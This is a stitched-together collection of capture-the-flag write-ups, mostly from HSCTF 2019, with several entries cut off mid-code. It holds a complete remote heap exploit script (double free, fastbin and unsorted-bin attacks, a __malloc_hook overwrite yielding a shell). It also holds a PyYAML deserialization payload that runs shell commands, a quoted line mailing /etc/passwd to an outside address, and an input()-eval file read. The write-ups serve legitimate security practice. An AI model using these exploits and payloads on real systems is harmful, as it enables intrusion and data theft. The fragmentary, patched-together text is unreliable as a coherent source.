``` for (int i = 32; i < 127; ++i){ String aa = Character.toString((char)i); String a = ans + aa; ... boolean right=true; for (int j = 0; j < c.length; j++) { String s = getOutput(Math.abs(java.run(j, (int) c[j]))); if (s.equals(owo[1])) { right = false; break; } } if (right == true){ System.out.println("yes"); ans = ans + aa; }```
Finally, it split out the answer automatically.
```hsctf{y0u_d3f34t3d_th3_b4by_vm}``` |
# Hard HeapTo solve this challenge **completely** ( it means not using 0x56 size chunk which depends on ASLR ), you have to know `Fastbins attack`, `Unsorted bins attack` and `IO_BUF_END`.
## Checksec```bound7@ubuntu:~/Desktop/ctf/hard_heap$ checksec hard-heap [*] '/home/bound7/Desktop/ctf/hard_heap/hard-heap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```Because this challenge use `glibc 2.23`, I solved this challenge at `Ubuntu 16.04`.
## VulnerabilityIn '**Antisice a deet**', There is a bug that is not initialize global heap pointer to **NULL**
```unsigned __int64 sub_CEF(){ unsigned int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); v1 = 0; puts("Which deet would you like to antisice?"); printf("> "); _isoc99_scanf("%u", &v1;; getchar(); if ( v1 > 0x13 ) { puts("Invalid index!"); exit(-1); } free((void *)global_202060[v1]); // global_202060[v1] = 0; return __readfsqword(0x28u) ^ v2;}```So we can `double free` same heap pointer.
## Heap Address LeakJust double free same chunk and print it.```free(0)free(1)free(0)
show(0)heap_30 = u64(p.recv(6).ljust(8, '\x00'))heap_base = heap_30 - 0x30print 'heap_base : '+hex(heap_base)```
# Libc Address LeakBecause we can `malloc` at most 0x48 size, we can't create *smallbin but not fastbin chunk*.But here we can use `Fastbins attack`. After make **fake chunk** right before **target chunk**, we can modify **target chunk**'s size, fd, bk by allocating some fake data at **fake chunk** using `Fastbins attack`. I changed the size of **target chunk** to *0x91* and free this chunk to make *main_arena+88* pointer in heap memory.```alloc(0x20, p64(heap_base+0x20)+p64(0)*2+p64(0x31))alloc(0x20, 'b'*0x8)alloc(0x20, 'a'*0x8)
alloc(0x20, p64(0)+p64(0x91)+'b'*0x8) # change target chunk size value to 0x91
free(1)show(6)main_arena_88 = u64(p.recv(6).ljust(8, '\x00'))```
# Get ShellOf course, we can exploit this binary only using `fastbins attack`.Because of ASLR, the start byte of heap chunk address changes. ( in gdb it starts with 0x55~ )if we try to allocate data to 0x55 sized fake chunk, malloc think this chunk's `mmap_bit` is set and thus masking fake chunk's address which occurs segmentation fault. To exploit successfully only using `Fastbins attack`, the start of heap address must be 0x56 which is not reliable.Anyway if heap address starts with 0x56, then we can use **pie_base + 0x202008** that is right before stdout, stdin, stderr pointer or **main_arena fastbin chunks** before **top chunk pointer**.
But here, i used `Unsorted bins attack` and just overwrite STDIN `IO_BUF_END` to overwrite `__malloc_hook`.If we overwrite STDIN `IO_BUF_END`, the scanf buffer can overwrite `__malloc_hook` because `__malloc_hook` pointer is close to STDIN `IO_BUF_BASE`.```free(8)alloc(0x20, p64(0)+p64(0x41)+p64(main_arena_88)+p64(io_buf_end-0x10))alloc(0x30, p64(main_arena_88)+p64(main_arena_88))
io_stdfile_0_lock = libc_base + 3958672io_wide_data_0 = libc_base + 3951040
payload = ''payload += '\x0a\x31'+'\x00'*3payload += p64(io_stdfile_0_lock)payload += '\xff'*8 + p64(0)payload += p64(io_wide_data_0)payload += p64(0) * 3 + '\xff'*4+p32(0)payload += p64(0) * 2payload += p64(io_wide_data_0)payload += p64(0) * 2payload += p64(one_gadget) *2 * 22 # overwrite malloc hook to one_gadgetp.sendlineafter('> ', payload)```
```bound7@ubuntu:~/Desktop/ctf/hard_heap$ python ex.py [+] Opening connection to pwn.hsctf.com on port 5555: Doneheap_base : 0x55c8e1cd9000main_arena+88 : 0x7f2a15a34b78libc_base : 0x7f2a15670000one_gadget : 0x7f2a15761147[*] Switching to interactive modeEnter the size of your deet: > $ idUH\x89�H��?dH\x8b\x04%(:id: not found$ lsbindevflaghard-heapliblib32lib64libc.so.6libc.so.6.zip$ cat flaghsctf{you_sice_deets_so_well_you_must_be_suchet}```
## Full Exploit Code```from pwn import *
#p = process('./hard-heap')p = remote('pwn.hsctf.com', 5555)
def choice(sel): p.sendlineafter('> ', str(sel))
def alloc(size, deet): choice(1) p.sendlineafter('> ', str(size)) p.sendafter('> ', deet)
def show(index): choice(2) p.sendlineafter('> ', str(index))
def free(index): choice(3) p.sendlineafter('> ', str(index))
alloc(0x20, 'a'*0x8)alloc(0x20, 'b'*0x8+p64(0)*2+p64(0x41))alloc(0x28, 'c'*0x8+p64(0)*2+p64(0x21))alloc(0x20, p64(0)+p64(0x51))alloc(0x20, 'e'*0x8)free(0)free(1)free(0)
show(0)heap_30 = u64(p.recv(6).ljust(8, '\x00'))heap_base = heap_30 - 0x30print 'heap_base : '+hex(heap_base)
alloc(0x20, p64(heap_base+0x20)+p64(0)*2+p64(0x31))alloc(0x20, 'b'*0x8)alloc(0x20, 'a'*0x8)
alloc(0x20, p64(0)+p64(0x91)+'b'*0x8)
# 0 == 5 == 7 (0x10), 1 == 6 (0x40)free(1)show(6)main_arena_88 = u64(p.recv(6).ljust(8, '\x00'))libc_base = main_arena_88 - 3951480malloc_hook = libc_base + 3951376main_arena_fake = malloc_hook+0x10+0x8+0x5io_buf_end = libc_base + 3950880one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]one_gadget = libc_base + one_list[3]print 'main_arena+88 : '+hex(main_arena_88)print 'libc_base : '+hex(libc_base)print 'one_gadget : '+hex(one_gadget)free(8)alloc(0x20, p64(0)+p64(0x41)+p64(main_arena_88)+p64(io_buf_end-0x10))alloc(0x30, p64(main_arena_88)+p64(main_arena_88))
io_stdfile_0_lock = libc_base + 3958672io_wide_data_0 = libc_base + 3951040
payload = ''payload += '\x0a\x31'+'\x00'*3payload += p64(io_stdfile_0_lock)payload += '\xff'*8 + p64(0)payload += p64(io_wide_data_0)payload += p64(0) * 3 + '\xff'*4+p32(0)payload += p64(0) * 2payload += p64(io_wide_data_0)payload += p64(0) * 2payload += p64(one_gadget) *2 * 22 # overwrite malloc hook to one_gadget
#choice(2)p.sendlineafter('> ', payload)
p.interactive()``` |
## Cool Image [Forensics | HSCTF 6 | 2019]
#### Solution:
Rename `cool.pdf` to `cool.png` and open it in image viewer or run `eog cool.png` and voila, we have the flag!

#### Read Original writeup here: https://github.com/Eshaan7/CTFs_datadumps_2019/tree/master/HS_CTF_2019/cool_image_100 |
[No captcha required for preview. Please, do not write just a link to original writeup here.](https://arieees666.github.io/pwn_exhibit/content/2019_CTF/tamuCTF/writeup_pwn4.html) |
# wite-out (50)
## Problem
Wait, where's the flag?
## Solution
The flag is invisible and can be found by either highlighting the entire problem or by viewing the source code.
 |
# dig-dug (100)
## Problem
I found this super sketchy website called hole.sketchy.dev. Can you help me dig up some of its secrets?
Oh, and someone told me that the secrets are TXT. I don't know what this means, so good luck!
## Solution
This is a simple dig problem. We just need to pass `-t txt` since we want TXT (as stated by the problem).
```$ dig -t txt hole.sketchy.dev
; <<>> DiG 9.14.1 <<>> -t txt hole.sketchy.dev;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7669;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 1280;; QUESTION SECTION:;hole.sketchy.dev. IN TXT
;; ANSWER SECTION:hole.sketchy.dev. 3600 IN TXT "bcactf{d1g-f0r-h073s-w/-dns-8044323}"
;; Query time: 54 msec;; SERVER: 192.168.1.1#53(192.168.1.1);; WHEN: Sat Jun 15 22:28:51 PDT 2019;; MSG SIZE rcvd: 94``` |
# wavey (150)
## Problem
My friend sent me his new mixtape, but honestly I don't think it's that good. Can you take a look at it and figure out what's going on?
(Attachments: files/straightfire.wav)
## Solution
This is a spectrogram problem. We can use a program like Sonic Visualizer to generate a spectrogram out of the audio.
 |
The first thought was to find the correspondence of runes to letters. But quick googling turned out that there was no one-to-one match. After more perusal at the runes string I noticed that part to the right from underscore looked about 20+ charcters. How many exactly?
```'ᚧᚣᚦᚬᚲᚠᚥᚶᚩᚱᚳᚵᚢᚫᚸᚤᚴᚯᚨᚭᚪᚮᚷᚡᚹᚰ'.length26```
Yes, it seemed to be an alphabet. Next assumption - in alphabetic order. Quick JS to decode the whole message:
```str = 'ᚣᚦᚧᚦᚭᚠ{ᚠᚯᚲᚴᚪᚲᚫᚦᚹᚧᚫᚧᚵᚹᚨᚩᚨᚩᚨᚮᚲᚯᚹᚥᚯᚲᚧᚭᚷᚶᚲᚫᚨᚸᚵᚮᚩᚫᚥᚧᚫᚫᚸᚹᚩᚫᚥᚢᚸᚫᚸᚧᚵᚤᚶᚧᚣᚲᚭᚩᚦᚨᚪᚣᚨᚭᚩᚭᚪᚭᚩᚸᚫᚦᚩᚤᚶᚲᚯᚨ_ᚧᚣᚦᚬᚲᚠᚥᚶᚩᚱᚳᚵᚢᚫᚸᚤᚴᚯᚨᚭᚪᚮᚷᚡᚹᚰ}';encodedAlphabet = 'ᚧᚣᚦᚬᚲᚠᚥᚶᚩᚱᚳᚵᚢᚫᚸᚤᚴᚯᚨᚭᚪᚮᚷᚡᚹᚰ';englishAlphabet = 'abcdefghijklmnopqrstuvwxyz';out = '';
function decodeLetter(letter) { decoded = letter; for(j=0; j |
Original writeup has images and description of decoding.
## Solution script
```pythonwav = wavio.read('FAM.wav')wavio.write('rectified.wav', abs(wav.data), wav.rate)l = [(a-2*b+c) / float(b) for a,b,c in zip(wav.data[:10000], wav.data[1:], wav.data[2:])]print bitarray.bitarray([0]+[int(e<-0.25) for e in l][10::20]).tobytes()``` |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
